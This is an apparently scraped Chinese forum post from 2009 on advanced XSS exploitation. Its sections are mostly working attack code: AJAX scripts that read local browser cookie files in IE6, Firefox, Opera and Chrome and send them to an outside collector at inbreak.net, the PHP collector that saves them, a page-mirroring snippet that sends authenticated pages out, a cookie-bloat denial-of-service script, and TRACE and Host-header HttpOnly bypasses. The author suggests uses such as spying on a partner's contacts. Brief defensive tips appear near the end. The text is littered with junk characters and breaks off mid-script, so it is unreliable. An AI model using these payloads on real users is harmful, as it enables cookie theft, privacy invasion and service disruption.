XSS的高级利用部分总结 -蠕虫

admin

XSS的高级利用部分总结 -蠕虫,HTTP-only,AJAX本地文件操作,镜象网页
本帖最后由 racle 于 2009-5-30 09:19 编辑

XSS的高级利用总结 -蠕虫,HTTPONLY,AJAX本地文件操作,镜象网页
, q1 g3 s) g6 s7 O/ `+ VBy racle@tian6.com   
5 J, X; R- {/ Y7 J, {+ U  [http://bbs.tian6.com/thread-12711-1-1.html
转帖请保留版权
4 a% C  E( r- B1 \
1 v. _0 T* g4 _% e7 l, P) H2 U" ]

-------------------------------------------前言---------------------------------------------------------
; G" C& g! v# {9 v2 H$ S2 F

+ D9 y( N, ]# X8 @6 p* j本文将撇开XSS语句,JS脚本,如何无错插入XSS语句,如何过滤和绕过XSS语句过滤,CSRF等知识点.也就是说,你必须已经具备一定XSS知识,才能看懂本文.

1 H2 E: o. J$ u) `5 O5 R
8 f! V% f* ~* M- A( q$ {9 Z如果你还未具备基础XSS知识,以下几个文章建议拜读:
http://www.lib.tsinghua.edu.cn/chinese/INTERNET/JavaScript/        JavaScript中文简介
3 {2 A4 V) Z6 O; Q" Vhttp://www.google.com/search?q=XSS+%D3%EF%BE%E4        XSS语句大全
: S0 B3 @- I1 Hhttp://www.google.com/search?q=XSS+%C8%C6%B9%FD        XSS语句绕过
. N  R8 j; I- q8 A& M7 h* Thttp://www.80vul.com/dzvul/sodb/03/sodb-2008-03.txt        FLASH CSRF
http://bbs.tian6.com/thread-12239-1-1.html        突破XSS字符数量限制执行任意JS代码
1 P. Q. x- K; c: ], }7 X7 ?http://bbs.tian6.com/thread-12241-1-1.html        利用窗口引用漏洞和XSS漏洞实现浏览器劫持




如果本文内容在你眼里显得非常陌生,或者难以理解,或者干燥无味,那正代表你对XSS了解甚少.
8 V: g$ F% [/ M
希望天阳会员本着技术学习为主的精神,真正的学习和掌握每门安全技术.因此,如果你来天阳是因为你想真正学会一些什么东西的话,请静下心来,看懂,看透,实际测试弄通本文.那么你对XSS的驾驭能力,自然大幅提高.
! g1 S+ c' P/ d! G% j0 R* g4 r2 w
3 u2 p3 H' D! {% m# j如果你认为XSS是无足轻重的问题,只不过是常见的一个弹窗,或者你认为XSS作用域狭窄,或者你认为XSS威力微不足道,那么请先看看以下片段:Twitter遭遇疯狂XSS    6次XSS蠕虫版本变化,
6 u: c0 H" ?, r: y6 m. P
Baidu xss蠕虫         感染了8700多个blog.媒体影响力,关注度巨大

$ F; ~  J* N: S; c) hQQ ZONE,校内网XSS     感染过万QQ ZONE.
5 V1 f# @8 C- L/ R3 g
OWASP MYSPACE XSS蠕虫        20小时内传染一百万用户,最后导致MySpace瘫痪

* H6 W6 M1 M' Q..........
3 ]; p. M3 h# L8 ]/ g3 _( P3 o复制代码------------------------------------------介绍-------------------------------------------------------------

什么是XSS?XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意用户的特殊目的.XSS属于被动式的攻击,因为其被动且不好利用,所以许多人常呼略其危害性.
* }, v0 X0 I5 R0 \2 Z9 B. z


跨站攻击有多种方式,由HTML语言允许使用脚本进行简单交互,入侵者便通过技术手段在某个页面里插入一个恶意HTML代码——例如记录论坛保存的用户信息（Cookie）,由于Cookie保存了完整的用户名和密码资料,用户就会遭受安全损失.当然,攻击者有时也会在网页中加入一些以.JS 或.VBS为后尾名的代码时,在我们浏览时,同样我们也会被攻击到.


. }9 |5 T' `) g$ q1 L
% D# W6 ?! r8 T& m' v" j如何寻找,如何绕过各种限制,成功无错的执行XSS代码,我们在这里并不讨论.相关的文章在网上也有很多.
复制代码现今XSS替代了SQL-INJECTION,成为web security课题的首位安全问题.XSS已经成为WEB安全的重要课题.
5 }" w% \# `& ^* z我们在这里重点探讨以下几个问题:

' X* }" h. m* \1        通过XSS,我们能实现什么?

2        如何通过HTTP-only保护COOKIES. 又如何突破HTTP-only,又如何补救?
& P. I& r# u+ h: ]+ L7 P; c/ W
3        XSS的高级利用和高级综合型XSS蠕虫的可行性?
: b) o  ~  {& x* y0 s; m
6 o6 j- ?9 a/ W- L1 l4 n+ ~4        XSS漏洞在输出和输入两个方面怎么才能避免.
. w. t- V, P( L


- Q8 {/ h% Q0 T/ X------------------------------------------研究正题----------------------------------------------------------
2 [& A% K9 M9 v% c  }4 t2 a
8 c% l# d7 W4 M! ?
/ e8 X& |' l6 P) K% I
" X$ c  C* y) L' T通过XSS,我们能实现什么?通过XSS,我们可以获得用户的COOKIES等信息,模拟用户本身进行HTTP提交,读取客户端本地文件,欺骗社工.结合以上功能,我们还能写出综合高级蠕虫.
复制代码XSS的高级利用与及综合性XSS高级蠕虫:我们主要讨论XSS在不同的浏览器下的权限限制&&XSS截屏;镜象网页,http only bypass(Cross-Site Tracing XST).写出我们自己的高级XSS蠕虫
复制代码XSS漏洞在输出和输入两个方面怎么才能避免.
1:为网站各个动态页面分安全等级,划分重点和次重点区域,分等级采用不同的输入限制规则.
3 d1 s* O& o7 T* w2:严格控制输入类型,根据实际需求选用数字,字符,特殊格式的限制.
* Q$ P2 Z+ A7 l3:在浏览器端输出时对HTML特殊字符进行了转义,常见采用htmlspecialchars,htmlentities.但是过滤了特殊字符,并不意味就是安全的.很多绕过方法都是争对单纯过滤进行的,譬如URL,8进制,16进制,String.fromCharCode转编码,UBB绕过等.因此应注意每处接受动态输入的代码审计.数据保存在innertxt,标签属性均应处于“”内.
  ^7 r3 d5 Z: @- X4:Http-only可以采用作为COOKIES保护方式之一.

3 D9 }* p2 l7 Q
  h' j2 s; x# |7 _0 E& d' g
' o: \1 z& [$ I8 I% {% G: G5 `

(I) AJAX在不同的浏览器下的本地文件操作权限读取本地的COOKIES,常见的敏感文件如:FTP的INI,etc/shadow,各种第三方应用程序的敏感文件等,并且将内容反馈给攻击者)
7 _( }* E% M$ K) b1 E) \0 N6 S
我们可以参考空虚浪子心的两篇文章,与及XEYE TEAM的统计信息:    1: ie6可读取无限制本地文件.ie8以及相应版本的trident内核浏览器对ajax本地执行时的权限控制得很死的，看来MS对IE这类安全风险比较重视。(这有一些问题，随后修正!)
* A3 k9 s7 L' F/ G% S8 f
! d5 f; W$ j# U4 W

3 T3 n9 ]" o+ U! h1 w* z    2: ff 3.0.8及以下版本允许本地执行的ajax访问当前目录下的文件内容。其他目录暂无法访问。
1 r: Q$ q9 g/ ]3 C
( g6 N$ _9 k8 X) u6 C

    3: opera9.64及以下版本允许通过指定url为file://协议进行访问；如果文件在当前目录下，则不需要指定file://协议；如果文件在同一盘符下甚至可以超越目录的方式访问:../../boot.ini。

) e2 ~, |, O" d9 {
7 l& q. N% G4 @; y* Z; ^4 m
. l% I# J' a! A0 l( q( ^    4: 基于webkit内核：google chrome、遨游3.0、safari等浏览器对本地执行的ajax权限没做任何访问限制.
复制代码IE6使用ajax读取本地文件    <script>

    function $(x){return document.getElementById(x)}
* r$ o8 x5 P0 ?  L9 ]# q

8 K2 N, m# i8 h7 M6 l) `& N; h* U
9 m3 l: Z9 |8 P% M7 X( ?    function ajax_obj(){
$ d  h3 o1 `7 t& S! f  K1 j
    var request = false;

# Q+ Y6 C- ^: f$ ]# x+ Y, Z) a+ ^    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();
7 T4 @8 U3 f. s$ Q5 P! O) M
    } else if(window.ActiveXObject) {
5 \1 i$ m3 j* [1 Q) ]7 X1 [
! z9 Z3 P7 P" i- i    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
* _$ T. A' _- l% Q; P- ^& R
3 A: a  y  U  d0 |% {" q
* ~' ~) O4 s# J: c( |% u
    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

" J! L' d. [$ v    for(var i=0; i<versions.length; i++) {

0 N; E4 F/ |' H$ U6 ^1 `4 ^    try {

    request = new ActiveXObject(versions);
) c( o3 Q7 m, i. g8 e
  r; A& ^0 G* |( Y    } catch(e) {}

: }7 h* ]5 T& x+ M    }

, y6 L" I5 k" a) d8 O  C; ]    }

    return request;

    }

    var _x = ajax_obj();

    function _7or3(_m,action,argv){
7 b7 L: n/ f2 B1 A9 Y
1 W% U2 j- d0 H, u3 g& n- [6 {! C& N    _x.open(_m,action,false);

1 ^+ o4 X- g7 a. k3 w) ?    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
; _& L0 r; b1 [. L+ P* ]3 B5 ~8 u
" ~6 y1 H. E7 N% V7 s    _x.send(argv);

    return _x.responseText;

$ L" |8 A  ~4 |+ j! o/ g# {, Z    }
0 r0 L: j  }8 Y8 U* [  @
1 F+ l1 O7 s, U6 x8 T" L- c

    var txt=_7or3("GET","file://localhost/C:/11.txt",null);

    alert(txt);
0 x7 |$ k, n. b0 h

3 N0 V7 ?1 m# |6 ~: Y
    </script>
复制代码FIREFOX 3使用ajax读取本地文件,仅能读取同目录,及其下属目录下文件.    <script>

# Y% N9 z5 W' {    function $(x){return document.getElementById(x)}

, r2 W3 f# P! w" C0 `- a2 W8 F9 P
; Q# n: z3 n5 q, I& ]1 z5 I
    function ajax_obj(){
% E/ S# `0 N0 F
    var request = false;

8 ]  ?& S6 T- u0 X! T" n" f- K2 @    if(window.XMLHttpRequest) {

    request = new XMLHttpRequest();

    } else if(window.ActiveXObject) {
: b% C# H' i, k
2 _6 n% ~9 L7 q    var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0',
+ Z; Z9 K( n8 s. F* E1 L
5 d  y0 y7 q% V* K

& C- B, A- ^2 n& W* J! v! [" ~    'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

    for(var i=0; i<versions.length; i++) {

- b4 X, Q; C# i7 k    try {

    request = new ActiveXObject(versions);

4 t: m/ N' j3 }: c5 j6 S    } catch(e) {}

4 Q0 V2 w- e9 y' |' ]4 h# O    }
& E. Y: o0 q7 M' T  |# l
5 d: C% a* G, k0 m    }

    return request;

    }
3 h$ L2 a; R" o% r
    var _x = ajax_obj();
! a; t, ], U7 P, W  `  U4 T" V" ^
5 B; V. H0 S$ p* F" j    function _7or3(_m,action,argv){

8 |, K# X4 P5 ]    _x.open(_m,action,false);
7 e* W) j9 h1 Q3 L% P- q
    if(_m=="OST")_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
& @; w' a/ X" R+ i
$ E' K$ ?. A8 g7 {( w4 r" @    _x.send(argv);

' V8 ^, z. d5 {0 ?    return _x.responseText;

$ K- `) [/ x9 C: N# |/ z0 `8 \    }
# ?) C3 C5 ]8 _8 i: T

/ C7 ~; N3 T: S5 U' c1 V
. M2 q& W2 r- A% |    var txt=_7or3("GET","1/11.txt",null);
" F9 \& `. z4 S* I/ g1 Z, M' M) r
    alert(txt);
* n! y4 b2 E8 l7 B
4 p: ?; f% W; D

    </script>
+ q1 ~- {4 d! \9 k复制代码Google Chrome使用ajax读取本地文件Chrome的cookie默认保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\Cookies”
+ A) ~# Z5 J6 E; v
3 E# Q% F4 y. v' [( X! a  U1 `

Chrome的历史保存在"C:\Documents and Settings\administrator\Local Settings\Application Data\Google\Chrome\User Data\Default\History"
: l" B7 p. G! l& a
/ a0 `8 n; n! s9 y, T
0 c6 M3 z. U5 W4 E0 q5 L! K; M
<?   

/*  

     Chrome 1.0.154.53 use ajax read local txt file and upload exp  
$ D5 e2 ^6 K* N! L$ m
     www.inbreak.net   
# q6 T# t5 r: X7 r/ b) n1 U! c
     author voidloafer@gmail.com 2009-4-22   

     http://www.inbreak.net/kxlzxtest/testxss/a.php get cookie and save.  
) D9 P1 }& h7 k' m5 X
*/  
% Q+ {! ^8 }% P9 @: k
4 _4 d, M+ @2 Bheader("Content-Disposition: attachment;filename=kxlzx.htm");   

$ f" L1 S# I3 s+ _' m. Fheader("Content-type: application/kxlzx");   

% P- j5 t! X9 N: R. a' d/*  

  I) W, s! G7 P  U& u     set header, so just download html file,and open it at local.  

*/  
- S# P! r, C9 h3 `# w
. I: F% X3 \6 z?>   

4 B' B  o  t5 k<form id="form" action="http://www.inbreak.net/kxlzxtest/testxss/a.php" method="OST">   
6 ?# [5 I* r' g: K
/ ~" ]* I# [% y( a     <input id="input" name="cookie" value="" type="hidden">   
/ J8 u' r/ ^2 Q- Y+ u
</form>   

2 B% q" w' }  ?4 [9 s0 _/ R( t<script>   

% b  E* j0 _6 M4 J/ Yfunction doMyAjax(user)   

6 ?2 x* Y0 A. I! S" m' l{   
. C& x/ o5 v; R2 x
var time = Math.random();   
, V6 ^3 ~. D5 ?! `; y9 b2 h; p, n
/*  
. t5 C% C9 n" s2 E, }! q! c
the cookie at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\Default  
5 m% S& Q* E% f3 E9 \
and the history at C:\Documents and Settings\kxlzx\Local Settings\Application Data\Google\Chrome\User Data\History  
; S' J2 ~  o# ]4 q& C; R
/ B! ^2 v; ]% C' V. N, S7 s% X0 `and so on...  
7 u4 Y5 t: O& [: e9 L
*/  
# T* m0 s1 s( z. A; Z4 S; \
var strPer = 'file://localhost/C:/Documents and Settings/'+user+'/Local Settings/Application Data/Google/Chrome/User Data/Default/Cookies?time='+time;   
) M8 }" u8 I& d& i# E" I
5 z& a1 D/ A: e+ h/ t   
% [; O$ `9 s/ M, ^. ]/ x! }. n6 m
startRequest(strPer);   
3 J9 D9 L$ s8 B6 U$ \
( T5 W" ~, G9 l, W9 ?$ y* G  n6 u+ v7 z9 x

}   

% N. @- `) I9 \' j$ N   

" w& j& U% C1 X  v9 R/ yfunction Enshellcode(txt)   

{   

* ]# f4 e0 h7 E, M/ a+ G1 f0 avar url=new String(txt);   

var i=0,l=0,k=0,curl="";   

l= url.length;   

for(;i<l;i++){   

, q" k/ b$ O2 H( |k=url.charCodeAt(i);   

if(k<16)curl+="0"+k.toString(16);else curl+=k.toString(16);}   
  A; b; O- L9 H4 b, u# t0 ?8 m# n
3 y/ J2 T) X+ k+ b% |* N" G) n2 bif (l%2){curl+="00";}else{curl+="0000";}   
5 w) h. x% `$ ~0 O; @. f
curl=curl.replace(/(..)(..)/g,"%u$2$1");   
1 A6 y) H3 q) Q3 |+ t0 G5 J$ i
return curl;   
! k0 S9 E9 m; t( `1 W! m
1 f3 L, [4 d4 Y( k+ P& Z, ?}   

* a* e5 k- A$ W& I  ^' z   
) O: k( x% M, A
1 ~/ H: C# U) }( I; L- Z   

. o/ G2 j4 C& x, X! q: m) E1 ovar xmlHttp;   
$ Q3 f  t& {! T
function createXMLHttp(){   
' e4 f" k; k9 \6 Z6 J6 J# n
     if(window.XMLHttpRequest){   

xmlHttp = new XMLHttpRequest();           
+ [* q, l( V$ [  @% d* b' W( Z6 H
5 I; n- [0 d+ H# F/ {5 l+ D5 Z1 J+ b     }   

/ c7 |* U; P5 K+ D$ x* [     else if(window.ActiveXObject){   
# N1 F$ z; _' Y; a
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");   
9 k/ u! P/ {) X5 F# d  w
     }   

}   

9 k+ R9 N9 w! m2 p5 U* i4 u) B$ o   
0 E6 v3 G8 ]: v& ?6 j0 ?8 q
9 `. V3 ~, M" A; S( i$ J5 q$ qfunction startRequest(doUrl){   

; T% E, t; i  Y* k* j   
( s8 `" ?! ~" \) `2 V
     createXMLHttp();   
1 d5 b2 ^) z4 M( u  ?( [
+ k# m# ?' h& f" D9 Z4 E1 c+ Q
) l  E: {9 Y6 Q1 p" m( ^
& u$ ?6 M! y4 ~     xmlHttp.onreadystatechange = handleStateChange;   
  }( v! p  w/ w/ a' X% b3 c
. ]  q" A# T1 N, \
6 e* z0 f% I+ g% A0 ?8 \
     xmlHttp.open("GET", doUrl, true);   
" _0 X% r# L) D# i# \

, A2 }) k6 B* t* n# T
     xmlHttp.send(null);   

* ?/ O# S2 P9 @; Q4 X



}   
( `, ?# {- c! E* }
   
* r8 X* A! F% @  z# W
+ d0 N; b4 j3 L) [- ifunction handleStateChange(){   

9 j7 r( \% g$ K5 V! k. T     if (xmlHttp.readyState == 4 ){   
6 H+ {: e7 V  o/ `4 V) u
     var strResponse = "";   
; [, N1 \% @1 ^9 S0 O
/ S! ]0 g% [( `     setTimeout("framekxlzxPost(xmlHttp.responseText)", 3000);   
- w; |5 @) a3 Y; K  I
; G% \% W4 @% f$ E8 n        

3 G4 ~. l6 d: s( L6 P2 q& S     }   

}   

   

% s2 {$ ]& z; B' L- t1 Z+ l   
5 M  A. H9 m6 Z* y- [
5 c) X3 z- V" t4 @& y. A0 L) dfunction framekxlzxPost(text)   

{   

9 e2 z# i3 _$ E2 W+ v     document.getElementById("input").value = Enshellcode(text);   

     document.getElementById("form").submit();   
1 t$ J- q/ o/ e7 M$ `! X
}   
" j8 q+ b" h: y
- ]) [/ K# x* j! n& ]   

doMyAjax("administrator");   
, O7 i6 n- Q' D6 B) t# Q
+ a! o# ^: `3 K. S+ n   

</script>
3 D# ^3 Z, g, @0 s3 g- P复制代码opera 9.52使用ajax读取本地COOKIES文件<script>  
- n" E  t# e- b/ |/ \
var xmlHttp;  
# A% y# O. a& R! Z7 F9 z* A' M0 }
function createXMLHttp(){  
9 M% l* y& ~7 F' ]) G; v
     if(window.XMLHttpRequest){  
, v: a) y- [& F  W
         xmlHttp = new XMLHttpRequest();         

$ b+ S& R/ B" p: B0 u     }  
6 Z8 }, X+ K6 k& R9 D( J
  Q/ {: e; `* B" o1 S" V; \     else if(window.ActiveXObject){  

( r) r# _) n5 |" z  F         xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");  
2 ?, Y- S# X" Y0 Y6 i2 [
7 `0 x: n3 V; V, @     }  

' @3 Y0 `5 D, b0 ?4 C* v5 b& a- I}  

4 a4 n8 c# N, [, |3 U- a( j* K3 h   
/ Z5 L) Y) E6 |# e& J1 h' |
function startRequest(doUrl){  

7 M: X0 \% T, V! h; T           
( g9 ^: t+ W8 H: e! o* k! G
     createXMLHttp();  
, Q& O- H' g5 A; v5 G
; Z9 n4 L8 R1 _: p* @      

& |! n7 g+ @9 O) F/ M     xmlHttp.onreadystatechange = handleStateChange;  

      
, C$ F) y# D. t
5 H- U0 v- ]! x4 ^2 O1 e     xmlHttp.open("GET", doUrl, true);  
* J* l6 T' `; N1 z7 u
4 N. m  }; A8 g* C/ B; x3 v$ G      
' y6 m7 X5 c* S& [
$ ~+ ~( E* W% L( ]     xmlHttp.send(null);  
7 S% C% b: F0 Y6 M0 x
      
8 \) x1 Y4 ]: Q3 y. `: T  N
      

}   

: N/ s* i; Q' x' V: w   
$ f, J. p8 `. ]3 j. B
+ t2 V% R; o1 {5 c% t# Efunction handleStateChange(){  
0 r8 V' X6 t8 I/ o
     if (xmlHttp.readyState == 4 ){  
- s) h- d9 F2 D. Y
% f% a  l! U6 g$ w4 |( c% _3 X1 I5 T# T' A             var strResponse = "";  

3 u8 h# P" y2 [* C, B8 w$ s             setTimeout("framekxlzxPost(xmlHttp.responseText)", 1000);   
0 i1 h2 b0 s1 P! B' f- B% V
               

8 W, z, L; u4 B' Y1 p/ S3 p     }  

}  
  A! W; w! y3 }4 w/ }
   
- E' u  [; e1 p0 [! E  N
function doMyAjax(user,file)  

2 G6 s7 u1 u$ V{  

         var time = Math.random();  

           
- I' ~0 N% d- @
         var strPer = 'file://localhost/C:/Documents%20and%20Settings/'+user+'/Cookies/'+file+'?time='+time;  

           
7 a" }+ p( K. N0 {
% f# L4 W2 F/ W/ d  H         startRequest(strPer);  
6 H8 E: s' v* }8 I/ [8 I% x
( P& B5 i9 l, L, I/ G      

1 ~2 R; O/ `; y/ I}  

   
8 e" s' o, P) l! S1 T7 B
& \0 t' A  R$ `4 F5 m+ A; Ffunction framekxlzxPost(text)  

1 U) t+ R" g3 V6 Z7 e: v) K{  
' ]- `2 A2 A6 w6 m2 d* q
     document.getElementById('framekxlzx').src="http://www.inbreak.net/kxlzxtest/testxss/a.php?cookie="+escape(text);  
' g: f" e7 R1 @( E3 K: E
! K. Q2 r6 @$ B6 Z, w     alert(/ok/);  
  \" [! s/ Y6 y
}  

   
* \; D0 M! P6 j1 h6 F& G4 Q# Y& {
doMyAjax('administrator','administrator@alibaba[1].txt');  
# R; P2 z; Y/ F3 A5 _1 S- A
1 Y1 A2 _) j) O% q) C: x5 d( v   

</script>




& |" U) u& O* ^$ L1 F
0 |4 l, _2 Q, D& w  T1 ?. Z$ Ba.php



" T6 c- `- y' q, G+ o! H" x" D<?php      
) M+ ~0 @0 |  ]' s6 w8 a+ Q/ e
/ @/ H1 E, r9 g( P   
# W% z2 ?# [# F* ]$ z
$user_IP = ($_SERVER["HTTP_VIA"]) ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];  

$user_IP = ($user_IP) ? $user_IP : $_SERVER["REMOTE_ADDR"];   

6 O- z9 Q! m4 y! s) I. }  
: r6 C+ L5 o* q9 D- k% }7 r
: a' Q% C( \+ w% k% s* r9 r! p6 {+ x$fp = fopen($user_IP.date("Y-m-d H:i:s")."cookie.txt","wb");     

fwrite($fp,$_GET["cookie"]);      

& Z5 a; B( w3 @( {; l1 K" P/ R% X4 vfclose($fp);   

?>
* `# j3 s+ E7 V复制代码(II) XSS截屏-镜象网页与XSS实现DDOS:

或许你对你女朋友的校内网里的好友列表感兴趣,又或者你对你的客户部竞争对手的电话通信记录感兴趣,那么这个由XEYE TEAM提出的新想法,对你就有用.
利用XSS获得指定的受控者授权状态下的页面源代码,再传发到目标页面,处理好相对路径,那么攻击者就能截取任意一个受控端的授权状态下的镜象网页.达到类似远程控制程序截屏的功能.
/ p! w) U( W9 L
代码片段://xmlHttpReq.open("GET","AWebSiteWhichYouNeedToCatch.com",false);
- \- h9 [+ M/ @. w
//xmlHttpReq.open("GET","http://friend.xiaonei.com/myfriendlistx.do",false);

//xmlHttpReq.open("GET","http://chinatelecom.com/mylistofnopermonth.jsp?no=139xxxxxxxx",false);

function getURL(s) {
2 d0 b" O6 _8 H. F/ R8 z  Z' N
var image = new Image();
6 `. j, V+ T5 H; S$ ]
image.style.width = 0;

image.style.height = 0;
" C. \- c9 M& c0 z2 j2 B. R) r: j# E
+ Z3 _  n9 W" I5 g% l( `% Wimage.src = s;
7 i* Y6 [: I$ W1 G* r
}
; T% q  R0 W5 H% n2 x
getURL("http://urwebsite.com/get.php?pagescopies="+xmlHttpReq.responseText);
复制代码XSS也能大材小用DDOS? 利用XSS操作COOKIES,导致HEADER部分过大,引发IIS或APACHE等服务端CRASH或者拒绝响应.生效时长与COOKIES允许保存时间相等.
这里引用大风的一段简单代码:<script language="javascript">
2 l: j& f: X3 V
& @( L1 u1 u# u0 J+ _' W7 {+ }var metastr = "AAAAAAAAAA"; // 10 A

var str = "";
4 m% z8 A/ T' v3 M2 b- p: h7 K3 M" F5 ]
* R1 |. O! L; v6 U8 Pwhile (str.length < 4000){
8 a9 w7 }; c% Y* y
6 P' f. ]0 y) @# Y1 O    str += metastr;
# m, a; n( {- g3 @  T7 w6 \
}

- ^  y9 O* r* {3 k; p
7 S( |7 }* s# B+ ]2 Q
document.cookie = "evil3=" + "\<script\>alert(xss)\<\/script\>" +";expires=Thu, 18-Apr-2019 08:37:43 GMT;";    // 一些老版本的webserver可能在这里还会存在XSS

8 z. d/ k  H4 [2 E+ _7 x3 W</script>

详细代码请看:http://hi.baidu.com/aullik5/blog ... aeaac0a7866913.html
复制代码如果你觉得XSS用来DDOS太可惜的话,这里也提供另外一篇文章供你参考,随与XSS无关,但是却也挺有意思.
server limit ddos利用随想 - 空虚浪子心 http://www.inbreak.net/?action=show&id=150
1 `; P/ K0 @/ r$ U6 K
假设msn.com出现了问题,被XSS了.并且攻击者把COOKIES 设置成yahoo.com的.那么所有访问msn.com的用户将无法访问yahoo.com.
攻击者在自己的网站上iframe了server limit ddos,目标设置为竞争对手myass.com,那么所有访问过攻击者网站的人,将无法访问其同行竞争对手myass.com的网站,这样不很妙么?呵呵.
$ M6 b4 y% w& |% w8 N& }  x
! |& X) j( q/ D- p
/ Z$ k7 A3 x5 C/ T) ^8 E+ G' L
1 U# L4 ?( A7 G; F# r


" U3 T6 \5 S8 o, u" o* a9 \+ F(III) Http only bypass 与 补救对策:

什么是HTTP-ONLY?HTTP-ONLY为Cookie提供了一个新属性，用以阻止客户端脚本访问Cookie.
以下是测试采用HTTPONLY与不采用时,遭受XSS时,COOKIES的保护差别。<script type="text/javascript">
, v' d1 Q# p; x: p1 s$ Y- n4 L5 h
<!--

function normalCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly";

8 g$ {2 _* V8 i0 Halert(document.cookie);

7 N& C# ^  G% x}
+ X; Y0 O+ v" o: S
& @+ F$ {5 e5 m: ^# ~& a
+ L5 l. j( z* W- K


function httpOnlyCookie() {

document.cookie = "TheCookieName=CookieValue_httpOnly; httpOnly";

: g* E% t! l. Talert(document.cookie);}
: O* t- A4 A/ D5 Z

  H& p  R6 H- K+ e- ?% e& {$ w% Q: }
//-->
( z, e( C: p- Z9 K& L  f2 h
  P1 F/ j% s/ o" ^& T</script>



<FORM><INPUT TYPE=BUTTON OnClick="normalCookie();" VALUE='Display Normal Cookie'>
$ n! |: i. |" f9 x5 ^: |
<INPUT TYPE=BUTTON OnClick="httpOnlyCookie();" VALUE='Display HTTPONLY Cookie'></FORM>
- X* L% b' J: o$ n复制代码但是采用HTPPONLY就安全了吗?不一定.采用TRACE获得HEADER里的COOKIES:<script>



. k+ j' }1 z# e7 N- t6 M5 P# @var request = false;
; L( t1 z4 \8 z- U0 n
        if(window.XMLHttpRequest) {

9 Q( j6 H. Q) k( f" h            request = new XMLHttpRequest();
' @3 ~) x. [5 b& f. m5 H* H; Q# d1 ]
- b7 c& E* O" b/ E5 s8 R: K            if(request.overrideMimeType) {
* j1 S2 L! j* Z6 H! S0 U2 e
                request.overrideMimeType('text/xml');

5 I+ W* |( n* W# @5 ?: `            }

0 p" |6 J" _4 N+ m& ^        } else if(window.ActiveXObject) {

! s2 d0 n. x4 ?' `5 i- ~5 u+ J5 P            var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

            for(var i=0; i<versions.length; i++) {

                try {

                    request = new ActiveXObject(versions);

6 Y7 D) t' P. o) {$ ?* F# y                } catch(e) {}
6 [7 O$ l# B$ [! [4 R. Z. k, Y
            }

        }
+ W  U( @% Z1 H" v7 A: F
xmlHttp=request;
- Q" e- B) c* I, w/ ]
! {$ ~, c6 r& txmlHttp.open("TRACE","http://www.vul.com",false);
( f" S( N6 j6 W3 C
xmlHttp.send(null);

2 z7 c; j6 ]/ y" K% N" o3 s- JxmlDoc=xmlHttp.responseText;

alert(xmlDoc);
9 @% ]- A: T. I  {9 V- Y8 a
5 H+ L2 ~  j" `8 _( \* \7 S. P</script>
复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>
# |: U: C' ]3 s3 D9 e7 [
7 _" E6 p9 i$ N8 x+ w( `var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);
  h: s- h/ ?; V" w: g) Y
6 E5 `4 y1 }6 Q9 iXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);

var resource=xmlHttp.responseText
5 o% F7 Z$ x5 t$ G/ J  ^
7 u& H% D! }7 T' V- I# K! ^& ]9 rresource.search(/cookies/);
2 R3 f& e5 X1 N; Y
......................
, u2 _) _: `) _
+ p6 x( U" X5 T( ~8 o$ d</script>

/ P1 H7 ^2 \7 P1 \1 D- z: {
4 d" m+ D" x, ^
" |9 R; H+ d% L) l- K: @) B
7 x4 p( m% [) j' H) U$ U& d
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
# [3 G7 U6 w8 K" J5 F
2 N3 k$ f  s8 Q1 F. b[code]
1 z: N( l" i, w- S, o8 x
1 M3 O: U% ]- V, z& h; A! w9 cRewriteEngine On
8 ^& x! q+ O( ?3 a% r' [# |
RewriteCond %{REQUEST_METHOD} ^TRACE
- O5 y4 e) y. L0 J" C( l: y
# }# a' u  W8 m4 m2 k- Z# M/ _RewriteRule .* - [F]



Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
1 `0 y* V, T  C) S
acl TRACE method TRACE
& C4 ?- }& I6 S1 L9 ?
...

2 c6 Z2 M+ G2 {2 A3 ?* Qhttp_access deny TRACE
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);
9 a7 I; k8 F& f2 m
XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

+ K) W0 ?; s- N% {, pXmlHttp.send(null);
- V+ ~$ A+ N& T& B2 Y* i% j
5 E" U' @; R/ N# z$ t; _</script>
9 G2 z! n1 B/ _复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

